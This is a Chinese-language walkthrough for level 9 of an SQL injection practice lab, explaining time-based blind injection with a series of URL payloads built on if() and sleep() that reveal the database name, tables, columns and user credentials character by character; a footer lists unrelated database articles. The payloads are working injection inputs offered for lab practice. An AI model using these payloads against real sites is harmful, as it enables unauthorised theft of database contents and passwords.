SQL靶场第九关攻略

我们的第九关需要用到时间盲注

使用条件:完全没有变化的页面

我们在了解一下时间盲注和布尔盲注的区别,时间盲注比布尔盲注多了一个if判断加上sleep()函数的运用

if(a,b,c) if判断句,a为条件,b、c为执行语句;如果a为真就执行b,a为假就执行c;

sleep()函数 网页延迟n秒后,输出结果

一.判断类型

我们输入

?id=1'

?id=1"

页面完全没反应,我们考虑时间盲注

二.判断闭合点

输入?id=1' and sleep(3)--+

输入?id=1' andif(1=2,1,sleep(3))--+,说明我们的闭合点为单引号

三.判断数据库长度

输入?id=1'and if(length(database())>7,sleep(3),1)--+

输入?id=1'and if(length(database())>8,sleep(3),1)--+,说明数据库长度为8位

四.判断数据库名称

输入?id=1' and if((substr(database(),1,1)='a'),sleep(3),0)--+无延时

输入?id=1' and if((substr(database(),1,1)='s'),sleep(3),0)--+有延时,说明s是我们数据库第一个字母

后面以此类推,得出了数据库名为security

五.判断表个数

输入?id=1'and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(3),1)--+有延时,说明存在四个表

六.判断表的长度

第一张表的长度:

输入?id=1'and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(3),0)--+有延时,说明第一张表的长度为6

第四张表的长度:

?id=1'and if(length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5,sleep(3),0)--+有延时说明第四张表的长度为5

七.查询表的名称

这里我们就不依次判断了,users表是五位,所以直接查第四张表

输入?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)='u',sleep(3),0)--+有延时,说明我们第四张表的第一位字母是u

以此类推,我们查到最后,第四张表的名称是users

八.查询字段数

输入?id=1' and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3,sleep(3),1)--+有延时,说明users表存在三个字段

九.查询字段名

1.判断字段名长度

输入?id=1' and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2,sleep(3),0)--+有延时,说明users表的第一个字段名的长度为2

我们在查第二,三个字段名长度都是8

2.判读字段名

输入?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep (3),0)--+有延时,说明我们users表第一个字段的第一个字母是i

以此类推我们可以得到三个字段分别为id,username,password

十.查询数据

输入?id=1'and if(substr((select username from users limit 0,1),1,1)='d',sleep(3),1)--+有延时,说明我们username列中的第一个字段的字母为d

以此类推我们就会把所有的数据查出来

以上就是sql靶场第九关的通关攻略

相关推荐
my一阁3 小时前
2025-web集群-问题总结
前端·arm开发·数据库·nginx·负载均衡·web
JIngJaneIL5 小时前
篮球论坛|基于SprinBoot+vue的篮球论坛系统(源码+数据库+文档)
java·前端·数据库·vue.js·论文·毕设·篮球论坛系统
一只叫煤球的猫7 小时前
MySQL 索引的 “最左前缀原则”,用查字典的例子讲透
数据库·mysql·性能优化
一只小bit8 小时前
MySQL常用内置函数整理:提高你的查询效率
数据库·mysql·数据完整性·表约束
数字化顾问9 小时前
SQL之键与约束实战进阶——从基础语法到高并发场景优化
sql
chxii9 小时前
ISO 8601日期时间标准及其在JavaScript、SQLite与MySQL中的应用解析
开发语言·javascript·数据库
小丁爱养花11 小时前
Redis 内部编码/单线程模型/string
数据库·redis·缓存·1024程序员节
l1t11 小时前
利用DuckDB SQL求解集合数学题
数据库·sql·算法·集合·duckdb